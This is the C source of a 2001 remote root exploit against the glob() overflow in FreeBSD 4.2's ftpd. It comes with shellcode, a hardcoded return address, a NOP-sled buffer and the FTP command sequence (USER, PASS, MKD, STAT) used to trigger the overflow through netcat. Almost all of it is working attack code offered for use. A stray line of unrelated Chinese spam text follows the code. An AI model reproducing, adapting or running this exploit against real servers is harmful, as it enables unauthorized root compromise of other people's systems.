/* * glob() ftpd root exploit for freebsd 4.2 * * 16/04/2001 StYx / styx@mal.tebank.com.mk * * Compile: gcc -o ronin ronin.c * Use: (./ronin ; cat) | nc target 21 * * Creditz: * venglin (riped piece of his code :-] ) * preedator (tnx for the help bro) * * Greetz: * jstr,atko,psx-one,slash,netzero,sniper,sircho, #seir ... * * This sploit needs user acces and a writable homedir without chroot, * just add your user and passwd. * * Cudovo e napisano za Sircho od MoL za da vidi deka ne se Mol 100% * sigurni * * Have phun. */ #include #include #include #define RET 0x805e23a char hellc0de[] = "\x31\xc0\x99\x52\x52\xb0\x17\xcd\x80\x68\xcc\x73\x68\xcc\x68" "\xcc\x62\x69\x6e\xb3\x2e\xfe\xc3\x88\x1c\x24\x88\x5c\x24\x04" "\x88\x54\x24\x07\x89\xe6\x8d\x5e\x0c\xc6\x03\x2e\x88\x53\x01" "\x52\x53\x52\xb0\x05\xcd\x80\x89\xc1\x8d\x5e\x05\x6a\xed\x53" "\x52\xb0\x88\xcd\x80\x53\x52\xb0\x3d\xcd\x80\x51\x52\xb0\x0c" "\x40\xcd\x80\xbb\xcc\xcc\xcc\xcc\x81\xeb\x9e\x9e\x9d\xcc\x31" "\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03\xe0\xf9\x5e\x8d" "\x5e\x10\x53\x52\xb0\x3d\xcd\x80\x89\x76\x0c\x89\x56\x10\x8d" "\x4e\x0c\x52\x51\x56\x52\xb0\x3b\xcd\x80\xc9\xc3\x55\x89\xe5" "\x83\xec\x08\xeb\x12\xa1\x3c\x50\x90"; unsigned long get_esp(){ __asm__("movl %esp, %eax"); } int main(int argc, char **argv) { char heh[260]; int offset =0; char k[256]; char user[] = "user"; char pass[] = "pass"; memset(heh,0x90,sizeof(heh)); memcpy(heh+sizeof(heh)-strlen(hellc0de),hellc0de,strlen(hellc0de)); memset(k,'A',sizeof(k)); *(long *)&heh[252]=RET - offset; heh[257]='\0'; printf("user %s\n",user); printf("pass %s\n",pass); printf("MKD %s\r\n",k); printf("STAT A*/../A*/../A*/%s%s" ,heh,"\r\n"); }

亚洲欧美在线